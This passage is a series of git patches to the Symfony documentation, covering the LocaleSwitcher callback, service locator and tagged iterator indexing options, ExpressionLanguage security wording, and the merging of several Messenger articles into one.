From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Sep 2023 13:35:10 +0200
Subject: [PATCH 3840/5766] [Translation] Give current locale to
 LocaleSwitcher::runWithLocale()'s callback

---
 translation.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/translation.rst b/translation.rst
index 3d8bfb8a519..58c0112360c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1069,10 +1069,25 @@ of:
 
             });
 
+            // you can optionally declare an argument in your callback to receive the
+            // injected locale
+            $this->localeSwitcher->runWithLocale('es', function(string $locale) {
+
+                // here, the $locale argument will be set to 'es'
+
+            });
+
             // ...
         }
     }
 
+.. versionadded:: 6.4
+
+    The support of declaring an argument in the callback to inject the locale
+    being used in the
+    :method:`Symfony\\Component\\Translation\\LocaleSwitcher::runWithLocale`
+    method was introduced in Symfony 6.4.
+
 When using :ref:`autowiring <services-autowire>`, type-hint any controller or
 service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
 class to inject the locale switcher service. Otherwise, configure your services

From 87cfeb784416c83cc5c26b7c7229aa84aa42b3eb Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Wed, 20 Sep 2023 10:38:31 -0400
Subject: [PATCH 3841/5766] Repair RST code block

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index ef87d3670a6..daa1e96328b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -719,7 +719,7 @@ to generate a closure with the same signature as a specific method of a service.
 this closure is called, it will pass all its arguments to the underlying service
 function.  If the closure needs to be called more than once, the service instance
 is reused for repeated calls.  Unlike a service closure, this will not
-create extra instances of a non-shared service.
+create extra instances of a non-shared service::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;

From 0f169f36250a249069d574505907f38c6f7e9f3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 08:55:11 +0200
Subject: [PATCH 3842/5766] [ExpressionLanguage] Reword the explanation about
 external injections

---
 components/expression_language.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 192d5c2d134..e867f33a472 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -22,8 +22,8 @@ How can the Expression Language Help Me?
 ----------------------------------------
 
 The purpose of the component is to allow users to use expressions inside
-configuration for more complex logic. For some examples, the Symfony Framework
-uses expressions in security, for validation rules and in route matching.
+configuration for more complex logic. For example, the Symfony Framework uses
+expressions in security, for validation rules and in route matching.
 
 Besides using the component in the framework itself, the ExpressionLanguage
 component is a perfect candidate for the foundation of a *business rule engine*.
@@ -43,9 +43,10 @@ way without using PHP and without introducing security problems:
     # Send an alert when
     product.stock < 15
 
-Expressions can be seen as a very restricted PHP sandbox and are immune to
-external injections as you must explicitly declare which variables are available
-in an expression.
+Expressions can be seen as a very restricted PHP sandbox and are less vulnerable
+to external injections because you must explicitly declare which variables are
+available in an expression (but you should still sanitize any data given by end
+users and passed to expressions).
 
 Usage
 -----

From 87e5baa99a04e92d113dde6caded8ebc871813c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 16:26:00 +0200
Subject: [PATCH 3843/5766] [DependencyInjection] Reword the explanation about
 index_by and default_index_method

---
 .../service_subscribers_locators.rst          | 81 ++++++++++---------
 service_container/tags.rst                    | 76 ++++++++---------
 2 files changed, 79 insertions(+), 78 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 1b152ac6d68..530519afd52 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -507,12 +507,15 @@ will share identical locators among all the services referencing them::
 Indexing the Collection of Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Services passed to the service locator can define their own index using an
-arbitrary attribute whose name is defined as ``index_by`` in the service locator.
+By default, services passed to the service locator are indexed using their service
+IDs. You can change this behavior with two options of the tagged locator (``index_by``
+and ``default_index_method``) which can be used independently or combined.
 
-In the following example, the ``App\Handler\HandlerCollection`` locator receives
-all services tagged with ``app.handler`` and they are indexed using the value
-of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
+The ``index_by`` / ``indexAttribute`` Option
+............................................
+
+This option defines the name of the option/attribute that stores the value used
+to index the services:
 
 .. configuration-block::
 
@@ -592,12 +595,13 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
 
             $services->set(App\Handler\HandlerCollection::class)
                 // inject all services tagged with app.handler as first argument
-                ->args([tagged_locator('app.handler', 'key')])
+                ->args([tagged_locator('app.handler', indexAttribute: 'key')])
             ;
         };
 
-Inside this locator you can retrieve services by index using the value of the
-``key`` attribute. For example, to get the ``App\Handler\Two`` service::
+In this example, the ``index_by`` option is ``key``. All services define that
+option/attribute, so that will be the value used to index the services. For example,
+to get the ``App\Handler\Two`` service::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
@@ -608,31 +612,25 @@ Inside this locator you can retrieve services by index using the value of the
     {
         public function __construct(ServiceLocator $locator)
         {
+            // this value is defined in the `key` option of the service
             $handlerTwo = $locator->get('handler_two');
         }
 
         // ...
     }
 
-Instead of defining the index in the service definition, you can return its
-value in a method called ``getDefaultIndexName()`` inside the class associated
-to the service::
-
-    // src/Handler/One.php
-    namespace App\Handler;
+If some service doesn't define the option/attribute configured in ``index_by``,
+Symfony applies this fallback process:
 
-    class One
-    {
-        public static function getDefaultIndexName(): string
-        {
-            return 'handler_one';
-        }
+#. If the service class defines a static method called ``getDefault<CamelCase index_by value>Name``
+   (in this example, ``getDefaultKeyName()``), call it and use the returned value;
+#. Otherwise, fall back to the default behavior and use the service ID.
 
-        // ...
-    }
+The ``default_index_method`` Option
+...................................
 
-If you prefer to use another method name, add a ``default_index_method``
-attribute to the locator service defining the name of this custom method:
+This option defines the name of the service class method that will be called to
+get the value used to index the services:
 
 .. configuration-block::
 
@@ -647,7 +645,7 @@ attribute to the locator service defining the name of this custom method:
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'key', defaultIndexMethod: 'myOwnMethodName')]
+                #[TaggedLocator('app.handler', defaultIndexMethod: 'getLocatorKey')]
                 ServiceLocator $locator
             ) {
             }
@@ -659,8 +657,9 @@ attribute to the locator service defining the name of this custom method:
         services:
             # ...
 
-            App\HandlerCollection:
-                arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key', default_index_method: 'myOwnMethodName' }]
+            App\Handler\HandlerCollection:
+                # inject all services tagged with app.handler as first argument
+                arguments: [!tagged_locator { tag: 'app.handler', default_index_method: 'getLocatorKey' }]
 
     .. code-block:: xml
 
@@ -672,11 +671,11 @@ attribute to the locator service defining the name of this custom method:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-
                 <!-- ... -->
 
                 <service id="App\HandlerCollection">
-                    <argument type="tagged_locator" tag="app.handler" index-by="key" default-index-method="myOwnMethodName"/>
+                    <!-- inject all services tagged with app.handler as first argument -->
+                    <argument type="tagged_locator" tag="app.handler" default-index-method="getLocatorKey"/>
                 </service>
             </services>
         </container>
@@ -687,17 +686,27 @@ attribute to the locator service defining the name of this custom method:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return function(ContainerConfigurator $container) {
-            $container->services()
-                ->set(App\HandlerCollection::class)
-                    ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
+            $services = $container->services();
+            // ...
+
+            $services->set(App\Handler\HandlerCollection::class)
+                // inject all services tagged with app.handler as first argument
+                ->args([tagged_locator('app.handler', defaultIndexMethod: 'getLocatorKey')])
             ;
         };
 
-.. note::
+If some service class doesn't define the method configured in ``default_index_method``,
+Symfony will fall back to using the service ID as its index inside the locator.
+
+Combining the ``index_by`` and ``default_index_method`` Options
+...............................................................
+
+You can combine both options in the same locator. Symfony will process them in
+the following order:
 
-    Since code should not be responsible for defining how the locators are
-    going to be used, a configuration key (``key`` in the example above) must
-    be set so the custom method may be called as a fallback.
+#. If the service defines the option/attribute configured in ``index_by``, use it;
+#. If the service class defines the method configured in ``default_index_method``, use it;
+#. Otherwise, fall back to using the service ID as its index inside the locator.
 
 .. _service-subscribers-service-subscriber-trait:
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 92303bcd40b..c293998d85b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -922,12 +922,15 @@ you can define it in the configuration of the collecting service:
 Tagged Services with Index
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to retrieve a specific service within the injected collection
-you can use the ``index_by`` and ``default_index_method`` options of the
-argument in combination with ``!tagged_iterator``.
+By default, tagged services are indexed using their service IDs. You can change
+this behavior with two options of the tagged iterator (``index_by`` and
+``default_index_method``) which can be used independently or combined.
 
-Using the previous example, this service configuration creates a collection
-indexed by the ``key`` attribute:
+The ``index_by`` / ``indexAttribute`` Option
+............................................
+
+This option defines the name of the option/attribute that stores the value used
+to index the services:
 
 .. configuration-block::
 
@@ -1012,10 +1015,9 @@ indexed by the ``key`` attribute:
             ;
         };
 
-After compilation the ``HandlerCollection`` is able to iterate over your
-application handlers. To retrieve a specific service from the iterator, call the
-``iterator_to_array()`` function and then use the ``key`` attribute to get the
-array element. For example, to retrieve the ``handler_two`` handler::
+In this example, the ``index_by`` option is ``key``. All services define that
+option/attribute, so that will be the value used to index the services. For example,
+to get the ``App\Handler\Two`` service::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
@@ -1026,43 +1028,23 @@ array element. For example, to retrieve the ``handler_two`` handler::
         {
             $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers;
 
+            // this value is defined in the `key` option of the service
             $handlerTwo = $handlers['handler_two'];
         }
     }
 
-You can omit the index attribute (``key`` in the previous example) by setting
-the ``index_by`` attribute on the ``tagged_iterator`` tag. In this case, you
-must define a static method whose name follows the pattern:
-``getDefault<CamelCase index_by value>Name``.
-
-For example, if ``index_by`` is ``handler``, the method name must be
-``getDefaultHandlerName()``:
-
-.. code-block:: yaml
+If some service doesn't define the option/attribute configured in ``index_by``,
+Symfony applies this fallback process:
 
-    # config/services.yaml
-        services:
-            # ...
+#. If the service class defines a static method called ``getDefault<CamelCase index_by value>Name``
+   (in this example, ``getDefaultKeyName()``), call it and use the returned value;
+#. Otherwise, fall back to the default behavior and use the service ID.
 
-            App\HandlerCollection:
-                arguments: [!tagged_iterator { tag: 'app.handler', index_by: 'handler' }]
+The ``default_index_method`` Option
+...................................
 
-.. code-block:: php
-
-    // src/Handler/One.php
-    namespace App\Handler;
-
-    class One
-    {
-        // ...
-        public static function getDefaultHandlerName(): string
-        {
-            return 'handler_one';
-        }
-    }
-
-You also can define the name of the static method to implement on each service
-with the ``default_index_method`` attribute on the tagged argument:
+This option defines the name of the service class method that will be called to
+get the value used to index the services:
 
 .. configuration-block::
 
@@ -1089,7 +1071,6 @@ with the ``default_index_method`` attribute on the tagged argument:
             # ...
 
             App\HandlerCollection:
-                # use getIndex() instead of getDefaultIndexName()
                 arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }]
 
     .. code-block:: xml
@@ -1105,7 +1086,6 @@ with the ``default_index_method`` attribute on the tagged argument:
                 <!-- ... -->
 
                 <service id="App\HandlerCollection">
-                    <!-- use getIndex() instead of getDefaultIndexName() -->
                     <argument type="tagged_iterator"
                         tag="app.handler"
                         default-index-method="getIndex"
@@ -1127,7 +1107,6 @@ with the ``default_index_method`` attribute on the tagged argument:
 
             // ...
 
-            // use getIndex() instead of getDefaultIndexName()
             $services->set(HandlerCollection::class)
                 ->args([
                     tagged_iterator('app.handler', null, 'getIndex'),
@@ -1135,6 +1114,19 @@ with the ``default_index_method`` attribute on the tagged argument:
             ;
         };
 
+If some service class doesn't define the method configured in ``default_index_method``,
+Symfony will fall back to using the service ID as its index inside the tagged services.
+
+Combining the ``index_by`` and ``default_index_method`` Options
+...............................................................
+
+You can combine both options in the same collection of tagged services. Symfony
+will process them in the following order:
+
+#. If the service defines the option/attribute configured in ``index_by``, use it;
+#. If the service class defines the method configured in ``default_index_method``, use it;
+#. Otherwise, fall back to using the service ID as its index inside the tagged services collection.
+
 .. _tags_as-tagged-item:
 
 The ``#[AsTaggedItem]`` attribute

From aa840ec08fdbbbb9a33cb936260008de1ea22f68 Mon Sep 17 00:00:00 2001
From: Hugo Hamon <hhamon@users.noreply.github.com>
Date: Thu, 21 Sep 2023 09:33:07 +0400
Subject: [PATCH 3844/5766] [Notifier] remove extra backtick character

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 659f8f245ff..7ee3900e350 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -830,7 +830,7 @@ Using Events
     The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
     introduced in Symfony 5.4.
 
-The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
+The :class:`Symfony\\Component\\Notifier\\Transport` class of the Notifier component
 allows you to optionally hook into the lifecycle via events.
 
 The ``MessageEvent::class`` Event

From 847f4bf51c67f0362e7eed58553de3c519cb1390 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 13:26:30 +0200
Subject: [PATCH 3845/5766] [Messenger] Merge several short articles into the
 main Messenger article

---
 _build/redirection_map                   |   3 +
 components/messenger.rst                 |   2 +-
 messenger.rst                            | 513 ++++++++++++++++++++++-
 messenger/dispatch_after_current_bus.rst | 127 ------
 messenger/handler_results.rst            |  99 -----
 messenger/multiple_buses.rst             | 283 -------------
 6 files changed, 515 insertions(+), 512 deletions(-)
 delete mode 100644 messenger/dispatch_after_current_bus.rst
 delete mode 100644 messenger/handler_results.rst
 delete mode 100644 messenger/multiple_buses.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 049fca61d50..90303a53d75 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -562,3 +562,6 @@
 /frontend/assetic/index /frontend
 /controller/argument_value_resolver /controller/value_resolver
 /frontend/ux https://symfony.com/bundles/StimulusBundle/current/index.html
+/messenger/handler_results /messenger#messenger-getting-handler-results
+/messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
+/messenger/multiple_buses /messenger#messenger-multiple-buses
diff --git a/components/messenger.rst b/components/messenger.rst
index 58941811429..b93447d14fd 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -146,7 +146,7 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
    to delay handling of an asynchronous message.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
    to make the message be handled after the current bus has executed. Read more
-   at :doc:`/messenger/dispatch_after_current_bus`.
+   at :ref:`messenger-transactional-messages`.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
    a stamp that marks the message as handled by a specific handler.
    Allows accessing the handler returned value and the handler name.
diff --git a/messenger.rst b/messenger.rst
index 08319fe4377..3e6e60fd006 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1916,6 +1916,106 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
+Getting Results from your Handlers
+----------------------------------
+
+When a message is handled, the :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware`
+adds a :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp` for each object that handled the message.
+You can use this to get the value returned by the handler(s)::
+
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Stamp\HandledStamp;
+
+    $envelope = $messageBus->dispatch(new SomeMessage());
+
+    // get the value that was returned by the last message handler
+    $handledStamp = $envelope->last(HandledStamp::class);
+    $handledStamp->getResult();
+
+    // or get info about all of handlers
+    $handledStamps = $envelope->all(HandledStamp::class);
+
+.. _messenger-getting-handler-results:
+
+Getting Results when Working with Command & Query Buses
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The Messenger component can be used in CQRS architectures where command & query
+buses are central pieces of the application. Read Martin Fowler's
+`article about CQRS`_ to learn more and
+:ref:`how to configure multiple buses <messenger-multiple-buses>`.
+
+As queries are usually synchronous and expected to be handled once,
+getting the result from the handler is a common need.
+
+A :class:`Symfony\\Component\\Messenger\\HandleTrait` exists to get the result
+of the handler when processing synchronously. It also ensures that exactly one
+handler is registered. The ``HandleTrait`` can be used in any class that has a
+``$messageBus`` property::
+
+    // src/Action/ListItems.php
+    namespace App\Action;
+
+    use App\Message\ListItemsQuery;
+    use App\MessageHandler\ListItemsQueryResult;
+    use Symfony\Component\Messenger\HandleTrait;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class ListItems
+    {
+        use HandleTrait;
+
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
+        }
+
+        public function __invoke(): void
+        {
+            $result = $this->query(new ListItemsQuery(/* ... */));
+
+            // Do something with the result
+            // ...
+        }
+
+        // Creating such a method is optional, but allows type-hinting the result
+        private function query(ListItemsQuery $query): ListItemsQueryResult
+        {
+            return $this->handle($query);
+        }
+    }
+
+Hence, you can use the trait to create command & query bus classes.
+For example, you could create a special ``QueryBus`` class and inject it
+wherever you need a query bus behavior instead of the ``MessageBusInterface``::
+
+    // src/MessageBus/QueryBus.php
+    namespace App\MessageBus;
+
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\HandleTrait;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class QueryBus
+    {
+        use HandleTrait;
+
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
+        }
+
+        /**
+         * @param object|Envelope $query
+         *
+         * @return mixed The handler returned value
+         */
+        public function query($query): mixed
+        {
+            return $this->handle($query);
+        }
+    }
+
 Customizing Handlers
 --------------------
 
@@ -2046,6 +2146,134 @@ A single handler class can handle multiple messages. For that add the
     is another way to handle multiple messages with one handler class. This
     interface was deprecated in Symfony 6.2.
 
+.. _messenger-transactional-messages:
+
+Transactional Messages: Handle New Messages After Handling is Done
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+A message handler can ``dispatch`` new messages while handling others, to either
+the same or a different bus (if the application has
+:ref:`multiple buses <messenger-multiple-buses>`). Any errors or exceptions that
+occur during this process can have unintended consequences, such as:
+
+#. If using the ``DoctrineTransactionMiddleware`` and a dispatched message throws
+   an exception, then any database transactions in the original handler will be
+   rolled back.
+#. If the message is dispatched to a different bus, then the dispatched message
+   will be handled even if some code later in the current handler throws an exception.
+
+An Example ``RegisterUser`` Process
+...................................
+
+Consider an application with both a *command* and an *event* bus. The application
+dispatches a command named ``RegisterUser`` to the command bus. The command is
+handled by the ``RegisterUserHandler`` which creates a ``User`` object, stores
+that object to a database and dispatches a ``UserRegistered`` message to the event bus.
+
+There are many handlers to the ``UserRegistered`` message, one handler may send
+a welcome email to the new user. We are using the ``DoctrineTransactionMiddleware``
+to wrap all database queries in one database transaction.
+
+**Problem 1:** If an exception is thrown when sending the welcome email, then
+the user will not be created because the ``DoctrineTransactionMiddleware`` will
+rollback the Doctrine transaction, in which the user has been created.
+
+**Problem 2:** If an exception is thrown when saving the user to the database,
+the welcome email is still sent because it is handled asynchronously.
+
+DispatchAfterCurrentBusMiddleware Middleware
+............................................
+
+For many applications, the desired behavior is to *only* handle messages that
+are dispatched by a handler once that handler has fully finished. This can be done by
+using the ``DispatchAfterCurrentBusMiddleware`` and adding a
+``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
+
+    // src/Messenger/CommandHandler/RegisterUserHandler.php
+    namespace App\Messenger\CommandHandler;
+
+    use App\Entity\User;
+    use App\Messenger\Command\RegisterUser;
+    use App\Messenger\Event\UserRegistered;
+    use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\Messenger\Envelope;
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Stamp\DispatchAfterCurrentBusStamp;
+
+    class RegisterUserHandler
+    {
+        public function __construct(
+            private MessageBusInterface $eventBus,
+            private EntityManagerInterface $em,
+        ) {
+        }
+
+        public function __invoke(RegisterUser $command): void
+        {
+            $user = new User($command->getUuid(), $command->getName(), $command->getEmail());
+            $this->em->persist($user);
+
+            // The DispatchAfterCurrentBusStamp marks the event message to be handled
+            // only if this handler does not throw an exception.
+
+            $event = new UserRegistered($command->getUuid());
+            $this->eventBus->dispatch(
+                (new Envelope($event))
+                    ->with(new DispatchAfterCurrentBusStamp())
+            );
+
+            // ...
+        }
+    }
+
+.. code-block:: php
+
+    // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php
+    namespace App\Messenger\EventSubscriber;
+
+    use App\Entity\User;
+    use App\Messenger\Event\UserRegistered;
+    use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\RawMessage;
+
+    class WhenUserRegisteredThenSendWelcomeEmail
+    {
+        public function __construct(
+            private MailerInterface $mailer,
+            EntityManagerInterface $em,
+        ) {
+        }
+
+        public function __invoke(UserRegistered $event): void
+        {
+            $user = $this->em->getRepository(User::class)->find($event->getUuid());
+
+            $this->mailer->send(new RawMessage('Welcome '.$user->getFirstName()));
+        }
+    }
+
+This means that the ``UserRegistered`` message would not be handled until
+*after* the ``RegisterUserHandler`` had completed and the new ``User`` was
+persisted to the database. If the ``RegisterUserHandler`` encounters an
+exception, the ``UserRegistered`` event will never be handled. And if an
+exception is thrown while sending the welcome email, the Doctrine transaction
+will not be rolled back.
+
+.. note::
+
+    If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
+    exception will be wrapped into a ``DelayedMessageHandlingException``. Using
+    ``DelayedMessageHandlingException::getExceptions`` will give you all
+    exceptions that are thrown while handling a message with the
+    ``DispatchAfterCurrentBusStamp``.
+
+The ``dispatch_after_current_bus`` middleware is enabled by default. If you're
+configuring your middleware manually, be sure to register
+``dispatch_after_current_bus`` before ``doctrine_transaction`` in the middleware
+chain. Also, the ``dispatch_after_current_bus`` middleware must be loaded for
+*all* of the buses being used.
+
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2278,7 +2506,7 @@ for each bus looks like this:
 #. ``add_bus_name_stamp_middleware`` - adds a stamp to record which bus this
    message was dispatched into;
 
-#. ``dispatch_after_current_bus``- see :doc:`/messenger/dispatch_after_current_bus`;
+#. ``dispatch_after_current_bus``- see :ref:`messenger-transactional-messages`;
 
 #. ``failed_message_processing_middleware`` - processes messages that are being
    retried via the :ref:`failure transport <messenger-failure-transport>` to make
@@ -2601,12 +2829,292 @@ Then your handler will look like this::
     The :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`
     was introduced in Symfony 6.2.
 
+.. _messenger-multiple-buses:
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 
 Messenger gives you a single message bus service by default. But, you can configure
 as many as you want, creating "command", "query" or "event" buses and controlling
-their middleware. See :doc:`/messenger/multiple_buses`.
+their middleware.
+
+A common architecture when building applications is to separate commands from
+queries. Commands are actions that do something and queries fetch data. This
+is called CQRS (Command Query Responsibility Segregation). See Martin Fowler's
+`article about CQRS`_ to learn more. This architecture could be used together
+with the Messenger component by defining multiple buses.
+
+A **command bus** is a little different from a **query bus**. For example, command
+buses usually don't provide any results and query buses are rarely asynchronous.
+You can configure these buses and their rules by using middleware.
+
+It might also be a good idea to separate actions from reactions by introducing
+an **event bus**. The event bus could have zero or more subscribers.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        framework:
+            messenger:
+                # The bus that is going to be injected when injecting MessageBusInterface
+                default_bus: command.bus
+                buses:
+                    command.bus:
+                        middleware:
+                            - validation
+                            - doctrine_transaction
+                    query.bus:
+                        middleware:
+                            - validation
+                    event.bus:
+                        default_middleware:
+                            enabled: true
+                            # set "allow_no_handlers" to true (default is false) to allow having
+                            # no handler configured for this bus without throwing an exception
+                            allow_no_handlers: false
+                            # set "allow_no_senders" to false (default is true) to throw an exception
+                            # if no sender is configured for this bus
+                            allow_no_senders: true
+                        middleware:
+                            - validation
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- The bus that is going to be injected when injecting MessageBusInterface -->
+                <framework:messenger default-bus="command.bus">
+                    <framework:bus name="command.bus">
+                        <framework:middleware id="validation"/>
+                        <framework:middleware id="doctrine_transaction"/>
+                    </framework:bus>
+                    <framework:bus name="query.bus">
+                        <framework:middleware id="validation"/>
+                    </framework:bus>
+                    <framework:bus name="event.bus">
+                        <!-- set "allow-no-handlers" to true (default is false) to allow having
+                              no handler configured for this bus without throwing an exception -->
+                        <!-- set "allow-no-senders" to false (default is true) to throw an exception
+                             if no sender is configured for this bus -->
+                        <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/>
+                        <framework:middleware id="validation"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // The bus that is going to be injected when injecting MessageBusInterface
+            $framework->messenger()->defaultBus('command.bus');
+
+            $commandBus = $framework->messenger()->bus('command.bus');
+            $commandBus->middleware()->id('validation');
+            $commandBus->middleware()->id('doctrine_transaction');
+
+            $queryBus = $framework->messenger()->bus('query.bus');
+            $queryBus->middleware()->id('validation');
+
+            $eventBus = $framework->messenger()->bus('event.bus');
+            $eventBus->defaultMiddleware()
+                ->enabled(true)
+                // set "allowNoHandlers" to true (default is false) to allow having
+                // no handler configured for this bus without throwing an exception
+                ->allowNoHandlers(false)
+                // set "allowNoSenders" to false (default is true) to throw an exception
+                // if no sender is configured for this bus
+                ->allowNoSenders(true)
+            ;
+            $eventBus->middleware()->id('validation');
+        };
+
+.. versionadded:: 6.2
+
+    The ``allow_no_senders`` option was introduced in Symfony 6.2.
+
+This will create three new services:
+
+* ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`
+  type-hint (because this is the ``default_bus``);
+
+* ``query.bus``: autowireable with ``MessageBusInterface $queryBus``;
+
+* ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
+
+Restrict Handlers per Bus
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, each handler will be available to handle messages on *all*
+of your buses. To prevent dispatching a message to the wrong bus without an error,
+you can restrict each handler to a specific bus using the ``messenger.message_handler`` tag:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\MessageHandler\SomeCommandHandler:
+                tags: [{ name: messenger.message_handler, bus: command.bus }]
+                # prevent handlers from being registered twice (or you can remove
+                # the MessageHandlerInterface that autoconfigure uses to find handlers)
+                autoconfigure: false
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\MessageHandler\SomeCommandHandler">
+                    <tag name="messenger.message_handler" bus="command.bus"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        $container->services()
+            ->set(App\MessageHandler\SomeCommandHandler::class)
+            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
+known by the ``command.bus`` bus.
+
+You can also automatically add this tag to a number of classes by using
+the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
+you can determine the message bus based on an implemented interface:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            _instanceof:
+                # all services implementing the CommandHandlerInterface
+                # will be registered on the command.bus bus
+                App\MessageHandler\CommandHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: command.bus }
+
+                # while those implementing QueryHandlerInterface will be
+                # registered on the query.bus bus
+                App\MessageHandler\QueryHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: query.bus }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- all services implementing the CommandHandlerInterface
+                     will be registered on the command.bus bus -->
+                <instanceof id="App\MessageHandler\CommandHandlerInterface">
